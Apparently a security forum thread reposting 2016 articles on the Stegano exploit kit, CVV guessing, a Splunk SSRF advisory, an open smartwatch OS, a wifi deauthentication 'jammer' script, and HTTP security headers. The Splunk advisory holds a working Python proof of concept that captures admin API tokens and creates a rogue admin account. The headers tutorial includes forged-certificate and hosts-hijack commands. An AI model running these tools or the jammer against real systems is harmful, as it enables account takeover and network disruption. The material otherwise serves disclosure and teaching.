Nytro

IoT e viitorul...

Stegano exploit kit poisoning pixels BY PETER STANCIK POSTED 6 DEC 2016 - 12:00PM ESET researchers have discovered a new exploit kit spreading via malicious ads on a number of reputable news websites, each with millions of visitors daily. Since at least the beginning of October 2016, the bad guys have been targeting users of Internet Explorer and scanning their computers for vulnerabilities in Flash Player. Exploiting these flaws in the code, they have been attempting to download and execute various types of malware. The attacks fall into the category of so-called malvertising due to the fact that the malicious code has been distributed through advertising banners. To make things worse, the attackers responsible are using stealthy, even paranoid, techniques, which makes analysis quite complicated and has thus necessitated an extensive research report. I asked Robert Lipovsky, one of ESET’s senior malware researchers, to give us a less technical overview of the case. What does your discovery mean for internet users? It means that there are advertising banners with “poisoned pixels” leading to a new exploit kit, intended to enable the bad guys to remotely install malware onto victims’ computers. The victim doesn’t even need to click on the malicious ad content; all it takes is to visit a website displaying it. If the victim’s computer runs a vulnerable version of Flash Player, the machine will be compromised via an exploited vulnerability automatically. After that, the bad guys have all they need to download and execute the malware of their choice. Some of the payloads we analyzed include banking trojans, backdoors and spyware, but the victims could end up facing a nasty ransomware attack, for example. Once again this threat shows how important it is to have your software fully patched and to be protected by a reputable security solution. In this particular case, either of these measures fully protects you from this specific attack. Where are the poisoned pixels in this? Well, the name “Stegano” refers to steganography, which is a technique the bad guys used to hide parts of their malicious code in the pixels of the advertisements’ banners. Specifically, they hide it in the parameters controlling the transparency of each pixel. This makes only minor changes to the (color) tone of the picture, making the changes effectively invisible to the naked eye and so unnoticed by the potential victim. How does the attack work? I believe the following scheme is the best way to explain what is happening in this case: Your analysis shows that the creators of the Stegano exploit kit are trying hard to stay unseen. What makes them so paranoid? Attackers have succeeded in circumventing the countermeasures designed to uncover and block malicious content on advertising platforms, which has resulted in legitimate websites unknowingly serving infected content to millions of potential victims. On top of that, the malicious version of the ad is served only to a specific target group, selected by the attackers’ server. The decision-making logic behind the choice of target is unknown and this helps the bad guys to go further in dodging suspicion on the advertising platforms’ side. But those are not the only reasons why they try hard to stay stealthy – and that’s where the attackers get really paranoid. The crooks behind the Stegano exploit kit are also trying to stay off the radar of experienced cybersecurity research teams hunting for malware. Hiding code in the pixels would not be enough to escape this kind of attention, so they have implemented a series of checks to detect whether the code is being surveilled. If any kind of surveillance is detected, the exploit kit’s activities simply stop and no malicious content is served. How do they know when the code is being observed? The exploit kit mainly tries to detect whether or not it is sitting in a sandbox, or if it is running on a virtual machine that was created for detection purposes. Also, the malware checks for any security software that might be present and sends this information to its operators. Can you say how many users have already seen these banners with poisoned pixels? Our detection systems show that in the last two months the malicious ads have been displayed to more than a million users on several very popular websites. Bear in mind, this is a rather conservative estimate based only on our own telemetry from users participating in ESET LiveGrid®. After all, the visitor counts of some of these websites are in the millions daily. Can you be more specific? Which websites were affected? The purpose of this research is to shed light on the activities of the bad guys and to make users safe from this threat. In this case, disclosure of the websites known to have been affected wouldn’t add any extra value in this regard. On the contrary, it could provide a false sense of security to those who have not visited these sites, as the banners could have appeared on practically any website that displays ads. We should also mention the reputational harm this could inflict on victimized pages, especially since there is nothing they could have done to prevent these attacks, as the targeted ad space isn’t completely under their control. What should I do to stay protected from exploit kit attacks? First of all, let me highlight again that those who are diligent in protecting their computers, are safe from these specific attacks. Keeping both the system and all applications patched and using a reliable internet security solution are strong precautions that help prevent such attacks. However, for unwary users, malvertising poses a serious threat, and their only hope is that malicious banners won’t make it onto websites they visit. Sursa: http://www.welivesecurity.com/2016/12/06/stegano-exploit-kit/

Do NOT try this! How to guess credit card security codes by Paul Ducklin If you’ve ever used your credit card online, or over the phone, you’ve probably been asked for something known informally as the “short code” or “security code”. That’s usually a three-digit number physically printed (but not embossed) at the right hand end of the signature strip on the back of your card. Three digits don’t sound enough to make much of a password, and in normal circumstances they wouldn’t be. But for what are known as card-not-present transctions, the CVV, or Card Verification Value as it is commonly known, provides a handy degree of protection against one of the most common sorts of credit card fraud, namely skimming. Sophos Home Skimming is where the crooks use a booby-trapped card reader, for example glued over the real card reader on an ATM, or cunningly squeezed into the card slot on a payment terminal, to read and record the magnetic stripe on your card. Even if you have a Chip and PIN card, the magstripe contains almost enough information for a crook to convince a website they have your card. For example, your name as it appears on the front of the card, the “long code”, usually 16 digits across the face of the card, and the expiry date are all there on the magstripe, ready to be copied surreptitiously and used on the web. The CVV therefore acts as a very low-tech barrier to card-not-present fraud, because most websites also require you to type in the CVV, which is not stored on the magstripe and therefore can’t be skimmed. Of course, there are numerous caveats here, including: The vendor mustn’t store your CVV after the transaction is complete. The security usefulness of the CVV depends on it never lying around where it could subsequently fall foul of cyberthieves. The payment processor mustn’t allow too many guesses at your CVV. With unlimited guesses and a three-digit code, even a crook working entirely by hand could try all the possibilities with a few hours. Guessing CVVs Researchers at Newcastle University in the UK recently decided to see just how effectively the second caveat was enforced, by trying to guess CVVs. The initial findings were encouraging: after a few guesses on the same website, they’d end up locked out and unable to go and further. Then they tried what’s called a distributed attack, using a program to submit payment requests automatically to lots of websites at the same time. You can see where this is going. If each website gives you five guesses, then with 200 simultaneous guesses on a range of different websites, you can get through 1000 guesses (200 × 5) in quick order without triggering a block on any of the sites. And with 1000 guesses, you can cover all CCV possibilities from 000 to 999, stopping when you succeed. Then you can go to that 251st site and order just about whatever you like, because you’ve “solved” the CVV without ever actually seeing the victim’s card. In other words, you’d expect the payment processor’s back-end servers to keep track not just of the number of CVV guesses from each site, but the total number of guesses since your last successful purchase from any site. According to Newcastle University, Mastercard stopped this sort of distributed guessing, but Visa did not. Should you worry? Considering how much credit card fraud happens without any need for CVV-guessing tricks like this, we don’t think this is a signal to give up online purchases entirely this festive season. Afte all, if any of the sites or services you used recently kept your CVV, even if only to write it down temporarily while processing your transaction, you’re exposed anyway, so CVVs aren’t a significant barrier to determined crooks. And if you’ve ever put your card details into a hacked or fraudulent website – even (or perhaps especially) if the transaction was never finalised – then the crooks probably already have everything they need to clone your card. What to do? A few simple precautions will help, regardless of your card provider: Don’t let your card out of your sight. Crooks working out of sight, even for just a few seconds, can skim your card easily simply by running it through two readers. They can also snap a sneaky picture of the back of the card to record both your signature and the CVV. Try to use the Chip and PIN slot when paying in person. Most chip readers only require you to insert your card far enough to connect up to the chip. This leaves most of the magstripe sticking out, making skimming the card details harder. If in doubt, find another retailer or ATM. Most ATMs still require you to insert your whole card, and can therefore be fitted with glued-on magstripe skimmers. If you aren’t sure, why not get hold and give it a wiggle? Skimmers often don’t feel right, because they aren’t part of the original ATM. Stick to online retailers you trust. Check the address bar of the payment page, make sure you’re on an encrypted (HTTPS) site, and if you see any web certificate warnings, bail out immediately. Keep an eye on your statements. If your bank has a service to send you a message notifying you when transactions take place, consider turning it on. Follow @NakedSecurity Follow @duckblog Sursa: https://nakedsecurity.sophos.com/2016/12/05/how-to-guess-credit-card-security-codes/

From: Francesco Oddo <francesco.oddo () security-assessment com> Date: Fri, 9 Dec 2016 14:54:02 +1300 ( , ) (, . '.' ) ('. ', ). , ('. ( ) ( (_,) .'), ) _ _, / _____/ / _ \ ____ ____ _____ \____ \==/ /_\ \ _/ ___\/ _ \ / \ / \/ | \\ \__( <_> ) Y Y \ /______ /\___|__ / \___ >____/|__|_| / \/ \/.-. \/ \/:wq (x.0) '=.|w|.=' _=''"''=. presents.. Splunk Enterprise Server-Side Request Forgery Affected versions: Splunk Enterprise <= 6.4.3 PDF: http://security-assessment.com/files/documents/advisory/SplunkAdvisory.pdf +-----------+ |Description| +-----------+ The Splunk Enterprise application is affected by a server-side request forgery vulnerability. This vulnerability can be exploited by an attacker via social engineering or other vectors to exfiltrate authentication tokens for the Splunk REST API to an external domain. +------------+ |Exploitation| +------------+ ==Server-Side Request Forgery== A server-side request forgery (SSRF) vulnerability exists in the Splunk Enterprise web management interface within the Alert functionality. The application parses user supplied data in the GET parameter ‘alerts_id’ to construct a HTTP request to the splunkd daemon listening on TCP port 8089. Since no validation is carried out on the parameter, an attacker can specify an external domain and force the application to make a HTTP request to an arbitrary destination host. The issue is aggravated by the fact that the application includes the REST API token for the currently authenticated user within the Authorization request header. This vulnerability can be exploited via social engineering to obtain unauthorized access to the Splunk REST API with the same privilege level of the captured API token. [POC SSRF LINK] /en-US/alerts/launcher?eai%3Aacl.app=launcher&eai%3Aacl.owner=*&severity=*&alerts_id=[DOMAIN]&search=test The proof of concept below can be used to listen for SSRF connections and automatically create a malicious privileged user when an administrative token is captured. [POC - splunk-poc.py] from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import httplib import ssl import requests token = '' class MyHandler(BaseHTTPRequestHandler): def do_GET(self): global token try: token = self.headers.get('Authorization')[7:] print "[+] Captured Splunk API token from GET request" except Exception, e: print "[-] No API token captured on incoming connection..." def adminTokenNotCaptured(): global token if token: query = "/services/authentication/httpauth-tokens/" + token conn = httplib.HTTPSConnection("<SPLUNK IP>", 8089, context=ssl._create_unverified_context()) conn.putrequest("GET", query) conn.putheader("Authorization", "Splunk %s" % token) conn.endheaders() context = conn.getresponse().read() if 'userName">admin' in context: print "[+] Confirmed Splunk API token belongs to admin user" print "[+] Admin Splunk API Token: %s" % token return False else: print "[!] Splunk API token does not belong to admin user" return True def poc(): global token create_user_uri = "https://<SPLUNK IP>:8089/services/authentication/users" params = {'name': 'infosec', 'password': 'password', 'roles': 'admin'} auth_header = {'Authorization': 'Splunk %s' % token} requests.packages.urllib3.disable_warnings() response = requests.post(url=create_user_uri, data=params, headers=auth_header, verify=False) if "<title>infosec" in response.content: print "[+] POC admin account 'infosec:password' successfully created" else: print "[-] No account was created" print response.content if __name__ == "__main__": try: print "[+] Starting HTTP Listener" server = HTTPServer(("", 8080), MyHandler) while adminTokenNotCaptured(): server.handle_request() poc() except KeyboardInterrupt: print "[+] Stopping HTTP Listener" server.socket.close() +----------+ | Solution | +----------+ Update to Splunk 6.5.0 or later. Full information about all patched versions are provided in the reference links below. +------------+ | Timeline | +------------+ 24/08/2016 – Initial disclosure to vendor 25/08/2016 – Vendor acknowledges receipt of the advisory and confirms vulnerability. 28/09/2016 – Sent follow up email asking for status update 30/09/2016 – Vendor replies fixes are being backported to all supported versions of the software. 10/11/2016 – Vendor releases security advisory and patched software versions 09/12/2016 – Public disclosure +------------+ | Additional | +------------+ http://security-assessment.com/files/documents/advisory/SplunkAdvisory.pdf https://www.splunk.com/view/SP-CAAAPSR [SPL-128840] Sursa: http://seclists.org/fulldisclosure/2016/Dec/30

New Smartwatch OS Debuts on GitHub By John P. Mello Jr. Dec 9, 2016 7:00 AM PT Can a new smartwatch operating system based on Linux breathe some new life into the smart wearables market? Florent Revest hopes so. Revest, a French computer science student, on Wednesday announced the alpha release of AsteroidOS, an open source operating system that will run on several Android smartwatch models. "Many users believe that the current proprietary platforms can not guarantee a satisfactory level of control over their privacy and hardware," noted Revest, who has been working on his OS for two years. "Hence, I noticed a need for an open wearable platform and AsteroidOS is my attempt to address this issue." The alpha edition of AsteroidOS contains some basic apps: agenda, for scheduling events to remember; an alarm clock; a calcuator; music, for controlling the music player on a phone; a stopwatch; a timer and a weather app. The OS will run, more or less, on the LG G Watch, LG G Urbane, Asus ZenWatch 2 and Sony Smartwatch 3, Revest noted. Bluetooth works only on the G Watch, though. Uphill Battle Launching an open source mobile operating system can be a daunting and seemingly futile task. "This has been tried repeatedly in the past and has failed," said Jack E. Gold, principal analyst at J.Gold Associates. So far there's only been one open source success story in the mobile market, and that's been Android -- which eventually was consumed by Google and closed off, noted Patrick Moorhead, principal analyst at Moor Insights and Strategy. "Firefox, Meego and Ubuntu have tried this and, unfortunately, haven't met with success," he told LinuxInsider. Breaking From Past However, Revest's focus on smartwatches may give his OS a better chance of success than past open source efforts had, said Charles King, principal analyst at Pund-IT. "There's certainly no guarantee that AsteroidOS can breathe life into so stagnant a market -- but at the same time, the new OS won't encounter the barriers it would in more mature markets, such as smartphones," he told LinuxInsider. "There's a hole in the market for this," said Ross Rubin, principal analyst at Reticle Research. "Unlike the phone and tablet market, where you can use the Android open source platform and build something based on that, there really hasn't been much for smartwatches," he told LinuxInsider. Google offers a form of Android for wearables, but it can't be modified the way the open source version of Android can. Narrow Appeal While Revest envisions growth of AsteroidOS as an open source community builds around it and it becomes compatible with more devices, broad adoption may be a long shot. Manufacturers who produce custom phones for target markets, such as low cost phones for emerging markets, might be interested in AsteroidOS, suggested Gold. However, "you can do this with Android-Linux already," he told LinuxInsider, "and with a new OS, there will be no availability of apps, so the devices will be very unattractive." Chinese phone makers who use open source Android may use AsteroidOS to produce very inexpensive smartwatches, said Rubin, "but inexpensive smartwatches haven't been driving the market. Pebble was an inexpensive smartwatch, and look what happened to it." The early adopters of the OS will be Linux enthusiasts and hobbyists, King said. Since the OS can work on older watches, early users likely will run the software on second-hand hardware. "That's a dynamic that drove significant early interest in Linux during the mid- to late-1990s, when people ported the OS to a wide variety of x86-based PCs and servers that were well past their prime," King recalled. Many of the initial users of AsteroidOS likely will be developers and Linux evangelists, he said. "If AsteroidOS can gain a foothold with them, it could well spark commercial interest and adoption further down the road." Pebble Crushed Revest's announcement came on the same day that news broke that one of the pioneers in the smartwatch market, Pebble, has been purchased by Fitbit, reportedly for US$40 million. Fitbit, a fitness band maker, made the purchase to acquire key personnel and intellectual property. The deal does not include Fitbit's hardware, which will be discontinued. The smartwatch market took a tumble in the third quarter, according to IDC. Shipments of wearable products were up 3.1 percent -- to 23.0 million from 22.3 million in the same quarter a year ago -- the firm reported earlier this week. "It's still early days, but we're already seeing a notable shift in the market," observed IDC Senior Research Analyst Jitesh Ubrani. "Where smartwatches were once expected to take the lead, basic wearables now reign supreme." John Mello is a freelance technology writer and contributor to Chief Security Officer magazine. You can connect with him on Google+. Sursa: http://www.linuxinsider.com/story/84154.html?rss=1

jammer A Bash script to automate the continuous circular deauthentication of all the wifi networks in your reach I am not responsible for any misuses of the script Keep in mind that it is generally illegal to use the script at your neihborhood It is designed for pen-testing purposes It has only been tested on my two machines, so there may still be bugs that can even cause data loss That's why I suggest you take a good look at the code before you execute it There will be updates as soon as I fix something or make a nice improvement Not that anyone will see this Jammer v0.3 Usage: jammer [OPTION] ... Jam Wifi Networks That Your Wireless Card Can Reach. -d, --deauths: Set the number of deauthentications for each station. Default is 10 -y, --yes: Make 'Yes' the answer for everything the script asks -s, --endless: When reaching the end of the list, start again -f, --whitelist: A file with ESSID's to ignore during the attack -k, --keep: Keep the scan files after the script ends -n, --name: Choose the names the scan files are saved as -e, --ethernet: Set the name for the ethernet interface. Default is 'eth0' -w, --wireless: Set the name for the wireless interface. Default is 'wlan0' -h, --help: Show this help message Looking at this help message a suggested way to call the script is $ sudo ./jammer -y -s -d 20 -f whitelist.txt Sursa: https://github.com/billpcs/jammer

Exotic HTTP Headers Exploration of HTTP security and other non-typical headers Last updated on December 9, 2016 Table of Contents X-XSS-Protection No header X-XSS-Protection: 0 X-XSS-Protection: 1 X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; report=http://localhost:1234/report X-Frame-Options No header X-Frame-Options: deny X-Frame-Options: sameorigin X-Frame-Options: allow-from http://localhost:4321 X-Content-Type-Options No header X-Content-Type-Options: nosniff Content-Security-Policy No header Content-Security-Policy: default-src 'none' Content-Security-Policy: default-src 'self' Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' Other Strict-Transport-Security Public-Key-Pins Content-Encoding: br Timing-Allow-Origin Alt-Svc P3P X-XSS-Protection Cross-Site Scripting (XSS) is an attack in which malicious scripts can be injected on a page. For example: <h1>Hello, <script>alert('hacked')</script></h1> This is a pretty obvious attack and something that browsers can block: if you find a part of the request in the source code, it might be an attack. The X-XSS-Protection controls this behavior. Values: 0 Filter disabled. 1 Filter enabled. If a cross-site scripting attack is detected, in order to stop the attack, the browser will sanitize the page. 1; mode=block Filter enabled. Rather than sanitize the page, when a XSS attack is detected, the browser will prevent rendering of the page. 1; report=http://domain/url Filter enabled. The browser will sanitize the page and report the violation. This is a Chromium function utilizing CSP violation reports to send details to a URI of your choice. Let's create a simple web server with node.js to play with this. var express = require('express') var app = express() app.use((req, res) => { if (req.query.xss) res.setHeader('X-XSS-Protection', req.query.xss) res.send(`<h1>Hello, ${req.query.user || 'anonymous'}</h1>`) }) app.listen(1234) I am using Google Chrome 55. No header http://localhost:1234/?user= Nothing happens. The browser successfully prevented this attack. This is the default behavior in Chrome if no header is set, as you can see in the error message in the Console. It even helpfully highlights it in the source. X-XSS-Protection: 0 http://localhost:1234/?user= &xss=0 Oh no! X-XSS-Protection: 1 http://localhost:1234/?user= &xss=1 The attack was successfully blocked by sanitizing the page because of our explicit header. X-XSS-Protection: 1; mode=block http://localhost:1234/?user= &xss=1; mode=block The attack is blocked by simply not rendering the page. X-XSS-Protection: 1; report=http://localhost:1234/report http://localhost:1234/?user= &xss=1; report=http://localhost:1234/report The attack is blocked and also reported to an address of our choice. X-Frame-Options This header allows you to prevent clickjack attacks. Imagine that an attacker has a YouTube channel and he needs subscribers. He can create a website with a button that says "Do not click" which means that everyone will definitely click on it. But there's a completely transparent iframe on top of the button. When you click the button, you actually click on the Subscribe button on YouTube. If you were logged into YouTube, you will now be subscribed to the attacker. Let's illustrate this. First, install the Ignore X-Frame headers extension. Create this HTML file. <style> button { background: red; color: white; padding: 10px 20px; border: none; cursor: pointer; } iframe { opacity: 0.8; z-index: 1; position: absolute; top: -570px; left: -80px; width: 500px; height: 650px; } </style> <button>Do not click his button!</button> <iframe src="https://youtu.be/dQw4w9WgXcQ?t=3m33s"></iframe> As you can see, I have cleverly positioned the viewport of the iframe to the Subscribe button. The iframe is on top of the button (z-index: 1) so when you try to click the button you click on the iframe instead. In this example, the iframe is not completely hidden but I could do that with opacity: 0. In practice, this does not work because you are not logged into YouTube, but you get the idea. You can prevent your website from being embedded as an iframe with the X-Frame-Options header. Values deny No rendering within a frame. sameorigin No rendering if origin mismatch. allow-from: DOMAIN Allows rendering if framed by frame loaded from DOMAIN. We are going to use this webserver for experiments. var express = require('express') for (let port of [1234, 4321]) { var app = express() app.use('/iframe', (req, res) => res.send(`<h1>iframe</h1><iframe src="//localhost:1234?h=${req.query.h || ''}"></iframe>`)) app.use((req, res) => { if (req.query.h) res.setHeader('X-Frame-Options', req.query.h) res.send('<h1>Website</h1>') }) app.listen(port) } No header Everyone can embed our website at localhost:1234 in an iframe. http://localhost:1234/iframe http://localhost:4321/iframe X-Frame-Options: deny No one can embed our website at localhost:1234 in an iframe. http://localhost:1234/iframe?h=deny http://localhost:4321/iframe?h=deny X-Frame-Options: sameorigin Only we can embed our website at localhost:1234 in an iframe on our website. An origin is defined as a combination of URI scheme, hostname, and port number. http://localhost:1234/iframe?h=sameorigin http://localhost:4321/iframe?h=sameorigin X-Frame-Options: allow-from http://localhost:4321 It looks like Google Chrome ignores this directive because you can use Content Security Policy (see below). Invalid 'X-Frame-Options' header encountered when loading 'http://localhost:1234/?h=allow-from%20http://localhost:4321': 'allow-from http://localhost:4321' is not a recognized directive. The header will be ignored. It also had no effect in Microsoft Edge. Here's Mozilla Firefox. http://localhost:1234/iframe?h=allow-from http://localhost:4321 http://localhost:4321/iframe?h=allow-from http://localhost:4321 X-Content-Type-Options This header prevents MIME confusion attacks (<script src="script.txt">) and unauthorized hotlinking (<script src="https://raw.githubusercontent.com/user/repo/branch/file.js">). var express = require('express') var app = express() app.use('/script.txt', (req, res) => { if (req.query.h) res.header('X-Content-Type-Options', req.query.h) res.header('content-type', 'text/plain') res.send('alert("hacked")') }) app.use((req, res) => { res.send(`<h1>Website</h1><script src="/script.txt?h=${req.query.h || ''}"></script>`) }) app.listen(1234) No header http://localhost:1234/ Even though script.txt is a text file with the content type of text/plain it was still executed as if it was a piece of JavaScript. X-Content-Type-Options: nosniff http://localhost:1234/?h=nosniff This time the content types do not match and the file was not executed. Content-Security-Policy The new Content-Security-Policy (CSP) HTTP response header helps you reduce XSS risks on modern browsers by declaring what dynamic resources are allowed to load via a HTTP Header. You can ask the browser to ignore inline JavaScript and load JavaScript files only from your domain, for example. Inline JavaScript can be not only <script>...</script> but also <h1 onclick="...">. Let's see how it works. var request = require('request') var express = require('express') for (let port of [1234, 4321]) { var app = express() app.use('/script.js', (req, res) => { res.send(`document.querySelector('#${req.query.id}').innerHTML = 'changed by ${req.query.id} script'`) }) app.use((req, res) => { var csp = req.query.csp if (csp) res.header('Content-Security-Policy', csp) res.send(` <html> <body> <h1>Hello, ${req.query.user || 'anonymous'}</h1> <p id="inline">is this going to be changed by inline script?</p> <p id="origin">is this going to be changed by origin script?</p> <p id="remote">is this going to be changed by remote script?</p> <script>document.querySelector('#inline').innerHTML = 'changed by inline script'</script> <script src="/script.js?id=origin"></script> <script src="//localhost:1234/script.js?id=remote"></script> </body> </html> `) }) app.listen(port) } No header http://localhost:4321 It works like you would normally expect it to. Content-Security-Policy: default-src 'none' http://localhost:4321/?csp=default-src 'none'&user= default-src applies to all resources (images, scripts, frames, etc.) and the value of 'none' doesn't allow anything. We can see it in action here, along with very helpful error messages. Chrome refused to load or execute any of the scripts. It also tried to load favicon.ico even though it's also prohibited. Content-Security-Policy: default-src 'self' http://localhost:4321/?csp=default-src 'self'&user= Now we can load scripts from our origin, but still no remote or inline scripts. Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' http://localhost:4321/?csp=default-src 'self'; script-src 'self' 'unsafe-inline'&user= This time we also allow inline scripts to run. Note that our XSS attack was also prevented. But not when you allow unsafe-inline and set X-XSS-Protection: 0 at the same time. Other content-security-policy.com has nicely formatted examples. default-src 'self' allows everything but only from the same origin script-src 'self' www.google-analytics.com ajax.googleapis.com allows Google Analytics, Google AJAX CDN and Same Origin default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self'; allows images, scripts, AJAX, and CSS from the same origin, and does not allow any other resources to load (eg object, frame, media, etc). It is a good starting point for many sites. I have not tested this but I think that frame-ancestors 'none' should be equivalent to X-Frame-Options: deny frame-ancestors 'self' should be equivalent to X-Frame-Options: sameorigin frame-ancestors localhost:4321 should be equivalent to X-Frame-Options: allow-from http://localhost:4321 script-src 'self' i.e. without 'unsafe-inline' should be equivalent to X-XSS-Protection: 1 If you take a look at facebook.com and twitter.com headers, they use CSP a lot. Strict-Transport-Security HTTP Strict Transport Security (HSTS) is a web security policy mechanism which helps to protect websites against protocol downgrade attacks. Let's say that you want to go to facebook.com. Unless you type https://, the default protocol is HTTP and the default port for HTTP is 80. So the request will be made to http://facebook.com. $ curl -I facebook.com HTTP/1.1 301 Moved Permanently Location: https://facebook.com/ And then you are redirected to the secure version of Facebook. If you were connected to a public WiFi that an attacker is running, they could hijack this request and serve their own webpage that looks identical to facebook.com and collect your password. What you can do to prevent this is to use this header to tell that the next time the user wants to go to facebook.com, they should be taken to the https version instead. $ curl -I https://www.facebook.com/ HTTP/1.1 200 OK Strict-Transport-Security: max-age=15552000; preload If you logged into Facebook at home and then went to facebook.com on the insecure WiFi, you'd be safe because the browser remembers this header. But what if you used Facebook on the insecure network for the first time ever? Then you are not protected. To fix this, browsers ship with a hard-coded list of domains known as the HSTS preload list that includes the most popular domain names that are HTTPS only. If you want to, you could try to submit your own here. It's also a handy website for testing if your site is using this header correctly. Yeah, I know, mine doesn't. Values, combination of, separated by ; max-age=15552000 The time, in seconds, that the browser should remember that this site is only to be accessed using HTTPS. includeSubDomains If this optional parameter is specified, this rule applies to all of the site's subdomains as well. preload If the site owner would like their domain to be included in the HSTS preload list maintained by Chrome (and used by Firefox and Safari). What if you need to switch back to HTTP before max-age or if you had preload? You are out of luck. This header is very strictly enforced. You'd need to ask all of your users to clear their browsing history and settings. Public-Key-Pins HTTP Public Key Pinning (HPKP) is a security mechanism which allows HTTPS websites to resist impersonation by attackers using mis-issued or otherwise fraudulent certificates. Values pin-sha256="<sha256>" The quoted string is the Base64 encoded Subject Public Key Information (SPKI) fingerprint. It is possible to specify multiple pins for different public keys. Some browsers might allow other hashing algorithms than SHA-256 in the future. max-age=<seconds> The time, in seconds, that the browser should remember that this site is only to be accessed using one of the pinned keys. includeSubDomains If this optional parameter is specified, this rule applies to all of the site's subdomains as well. report-uri="<URL>" If this optional parameter is specified, pin validation failures are reported to the given URL. Instead of using a Public-Key-Pins header you can also use a Public-Key-Pins-Report-Only header. This header only sends reports to the report-uri specified in the header and does still allow browsers to connect to the webserver even if the pinning is violated. That is what Facebook is doing: $ curl -I https://www.facebook.com/ HTTP/1.1 200 OK ... Public-Key-Pins-Report-Only: max-age=500; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; pin-sha256="r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E="; pin-sha256="q4PO2G2cbkZhZ82+JgmRUyGMoAeozA+BSXVXQWB8XWQ="; report-uri="http://reports.fb.com/hpkp/" Why do we need this? Isn't trusting Certificate Authorities enough? An attacker could create their own certificate for www.facebook.com and trick me into adding it to my trust root certificate store. Or it could be an administrator in your organization. Let's create a certificate for www.facebook.com. sudo mkdir /etc/certs echo -e 'US\nCA\nSF\nFB\nXX\nwww.facebook.com\nno@spam.org' | \ sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ -keyout /etc/certs/facebook.key \ -out /etc/certs/facebook.crt And make it trusted on our computer. # curl sudo cp /etc/certs/*.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates # Google Chrome sudo apt install libnss3-tools -y certutil -A -t "C,," -n "FB" -d sql:$HOME/.pki/nssdb -i /etc/certs/facebook.crt # Mozilla Firefox #certutil -A -t "CP,," -n "FB" -d sql:`ls -1d $HOME/.mozilla/firefox/*.default | head -n 1` -i /etc/certs/facebook.crt Let's create our own web server that uses this certificate. var fs = require('fs') var https = require('https') var express = require('express') var options = { key: fs.readFileSync(`/etc/certs/${process.argv[2]}.key`), cert: fs.readFileSync(`/etc/certs/${process.argv[2]}.crt`) } var app = express() app.use((req, res) => res.send(`<h1>hacked</h1>`)) https.createServer(options, app).listen(443) Switch to our server. echo 127.0.0.1 www.facebook.com | sudo tee -a /etc/hosts sudo node server.js facebook Does it work? $ curl https://www.facebook.com <h1>hacked</h1> Good. curl validates certificates. Because I've visited Facebook before and Google Chrome has seen the header, it should report the attack but still allow it, right? Nope. Public-key pinning was bypassed by a local root certificate. Interesting. Alright, what about www.google.com? echo -e 'US\nCA\nSF\nGoogle\nXX\nwww.google.com\nno@spam.org' | \ sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ -keyout /etc/certs/google.key \ -out /etc/certs/google.crt sudo cp /etc/certs/*.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates certutil -A -t "C,," -n "Google" -d sql:$HOME/.pki/nssdb -i /etc/certs/google.crt echo 127.0.0.1 www.google.com | sudo tee -a /etc/hosts sudo node server.js google Same. I guess this is a feature. Anyway, if you don't add these certificates to your store, you won't be able to visit these sites because the option to add an exception in Firefox or Proceed unsafely in Chrome are not available. Content-Encoding: br The content is compressed with Brotli. It promises better compression density and comparable decompression speed to gzip. It is supported by Google Chrome. Naturally, there is a node.js module for it. var shrinkRay = require('shrink-ray') var request = require('request') var express = require('express') request('https://www.gutenberg.org/files/1342/1342-0.txt', (err, res, text) => { if (err) throw new Error(err) var app = express() app.use(shrinkRay()) app.use((req, res) => res.header('content-type', 'text/plain').send(text)) app.listen(1234) }) Uncompressed: 700 KB Brotli: 204 KB Gzip: 241 KB Timing-Allow-Origin The Resource Timing API allows you to measure how long it takes to fetch resources on your page. Because timing information can be used to determine whether or not a user has previously visited a URL (based on whether the content or DNS resolution are cached), the standard deemed it a privacy risk to expose timing information to arbitrary hosts. <script> setTimeout(function() { console.log(window.performance.getEntriesByType('resource')) }, 1000) </script> <img src="http://placehold.it/350x150"> <img src="/local.gif"> It looks like you can get detailed timing information (domain lookup time, for example) only for resources that are on your origin unless the Timing-Allow-Origin is set. Here's how you can use it. Timing-Allow-Origin: * Timing-Allow-Origin: http://foo.com http://bar.com Alt-Svc Alternative Services allow an origin's resources to be authoritatively available at a separate network location, possibly accessed with a different protocol configuration. This one is used by Google: alt-svc: quic=":443"; ma=2592000; v="36,35,34" It means that the browser can use, if it wants to, the QUIC (Quick UDP Internet Connections) or HTTP over UDP protocol on port 443 for the next 30 days (max age is 2592000 seconds or 720 hours or 30 days). No idea what v stands for. Version? https://www.mnot.net/blog/2016/03/09/alt-svc https://ma.ttias.be/googles-quic-protocol-moving-web-tcp-udp/ P3P Here's a couple of P3P headers I've seen: P3P: CP="This is not a P3P policy! See https://support.google.com/accounts/answer/151657?hl=en for more info." P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Some browsers require third party cookies to use the P3P protocol to state their privacy practices. The organization that established P3P, the World Wide Web Consortium, suspended its work on this standard several years ago because most modern web browsers don't fully support P3P. As a result, the P3P standard is now out of date and doesn't reflect technologies that are currently in use on the web, so most websites currently don't have P3P policies. I did not do much research on this but it looks like this is needed for IE8 to accept 3rd party cookies. This is accepted by Internet Explorer. For example, IE's "high" privacy setting blocks all cookies from websites that do not have a compact privacy policy, but cookies accompanied by P3P non-policies like those above are not blocked. Sursa: https://peteris.rocks/blog/exotic-http-headers/

